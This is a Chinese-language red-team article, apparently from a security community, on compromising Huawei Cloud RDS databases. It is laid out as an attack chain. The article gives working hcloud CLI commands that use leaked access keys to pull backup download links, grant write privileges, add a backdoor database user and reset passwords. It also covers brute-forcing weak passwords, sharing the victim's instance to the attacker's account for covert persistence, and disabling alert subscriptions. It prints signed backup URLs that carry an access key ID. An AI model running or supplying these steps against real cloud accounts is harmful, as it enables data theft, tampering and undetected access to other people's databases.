淺談華為云云數據RDS攻防
0x01 前期偵查
1、訪問憑證泄露
在進行信息收集時,可以收集目標的數據庫賬號密碼、云服務賬號的訪問憑證、臨時憑證、SDK 等等。
2、備份管理
在備份管理處可以看到數據庫的備份情況,可以恢復或者下載,查找數據。

如果我們拿到了ak sk可以登錄OBS Browser查看外部桶,看用戶是否將備份放到其中。

我們在信息搜集的時候,可以留意如下鏈接
https://obs.cn-south-1.myhuaweicloud.com/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Snapshot_fccfc85d4767460786a8cdd00b021f87br01_20220328075533310_20220328075534031_dd6d837fe38542e39c939c65cc2eb946no01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455224&response-cache-control=no-cache,no-store&Signature=ZvOnZ1Ggj+d3M3rR+RNWFCLf5Xk= https://obs.cn-south-1.myhuaweicloud.com:443/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Db_270e4eee5c0645c491a0256aee83277fbr01_20220328075745865_20220328075807598_b1f9ce13819a4a089c868f408cd66ecdno01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455325&response-cache-control=no-cache,no-store&Signature=cH06dRbBcK/fSX8MX04aM6lntoQ=
上述鏈接可以看到是以.qp結尾的文件,該鏈接就是數據庫的備份下載鏈接,需注意的是其中一個鏈接的實效只有5分鐘
下面介紹下如何使用華為云cli來獲取備份下載鏈接。
1.獲取 "tenant_id"
hcloud ECS ListServersDetails --cli-region="cn-south-1"

2.查詢數據庫實例列表獲取id
hcloud RDS ListInstances --cli-region="cn-south-1" --Content-Type="application/json" --project_id="0a8453d1f700250e2f02c00e683b8531"

3.獲取備份列表,拿到id
hcloud RDS ListBackups --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --instance_id="2b51b2c6abdf462893939964b4c612fain01"

4.獲取備份下載鏈接
hcloud RDS ShowBackupDownloadLink --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --backup_id="270e4eee5c0645c491a0256aee83277fbr01"

0x02 初始訪問
1、訪問憑證登錄
如果前期收集到了數據庫的賬號密碼,則可以直接使用其登錄。

如果泄漏了高權限的AK SK,可以新建一個同權限的IAM賬號登錄控制臺。
2、弱口令
如果數據庫存在弱口令,則可以通過密碼爆破,猜解出 RDS 的賬號密碼。
華為云RDS默認用戶名為root
3、綁定公網IP
如果數據庫創建在內網中,我們可以綁定公網IP來連接,需要注意的是這個公網IP必須是用戶自己購買的。

綁定后我們就可以通過遠程登錄來登錄數據庫了
4、同VPC下主機登陸
如果RDS不出網,我們可以想辦法登錄同網段的ECS服務器,然后通過MYSQL連接到不出網的數據庫。

mysql -h 192.168.0.12 -uroot -p

0x03 語句執行
1、數據管理服務DAS
華為云控制臺需要數據庫的密碼才可以登錄執行語句,我們可以通過泄漏的AK SK來新增賬號或修改原賬號密碼來登錄數據庫,下面第五節會講到。

進入開發工具就可以登錄數據庫,執行語句

2、數據庫連接
如果知道數據庫的賬號密碼后,可以遠程連接試試。
0x04 權限提升
1、低權限下收集到高權限訪問憑證信息
在使用低權限賬號登錄到數據庫后,在數據庫中可以嘗試搜索訪問密鑰、賬號密碼等信息,獲得高權限賬號信息。
如果當前數據存在 Web 應用上的用戶密碼信息,則可以通過嘗試獲得 Web 應用系統權限,在 Web 應用系統權限下,搜索數據庫的訪問密鑰或者云服務的 API 密鑰,從而進一步橫向到數據庫高權限。
2、數據庫自身漏洞
比如提權,暫時未發現云服務商有此類漏洞。
3、修改讀寫權限
控制臺修改只讀權限為讀寫

cli修改只讀權限為讀寫
hcloud RDS AllowDbUserPrivilege --cli-region="cn-south-1" --instance_id="dddddd" --project_id="0a8453d1f700250e2f02c00e683b8531" --db_name="huoxian" --users.1.readonly=false --users.1.name="admin"
4、修改IAM賬號權限
首先看下官方的權限說明


我們可以修改IAM賬號的權限使其擁有修改數據庫的權限。

0x05 權限維持
1、添加數據庫賬號密碼
控制臺添加賬號

華為云cli添加賬號
hcloud RDS CreateDbUser --cli-region="cn-south-1" --instance_id="2b51b2c6abdf462893939964b4c612fain01" --project_id="0a8453d1f700250e2f02c00e683b8531" --password="1234qwer!" --name="stay"
2、修改數據庫賬號密碼
控制臺修改密碼

華為云cli修改密碼(密碼強規則)
hcloud RDS ResetPwd --cli-region="cn-south-1" --instance_id="2b51b2c6abdf462893939964b4c612fain01" --project_id="0a8453d1f700250e2f02c00e683b8531" --db_user_pwd="1234qwer!"
3、共享數據庫實例
我們可以將對方的數據庫實例分享給自己,然后在自己的控制臺就可以登錄。
首先我們需要知道數據庫的賬號密碼,或者可以使用前面講到的重新添加一個賬號。

接著新增數據庫實例登錄,這里選擇記住密碼,我們自己賬號登錄時便不需要密碼了。

然后查看共享用戶數,選擇手動錄入,輸入自己的賬號ID即可,返回自己的賬號看下。

直接點擊后面的登錄

這樣就可以在管理員不注意的情況下一直可以登錄對方的數據庫實例。
4、修改現有賬號權限
例如賬號無法使用UPDATE,CREATE等權限,可以在用戶管理-全局權限處設置。

0x06 防御繞過
可關閉告警相關的所有訂閱
0x07 信息收集
1、日志下載
可下載錯誤日志,慢日志和主備切換日志來查找信息。

2、備份數據庫
可下載已備份數據庫到本地,來搜集信息。

0x08 影響
可導致數據庫信息泄漏,數據被篡改盜用等等
參考鏈接:
https://zone.huoxian.cn/d/1105-aws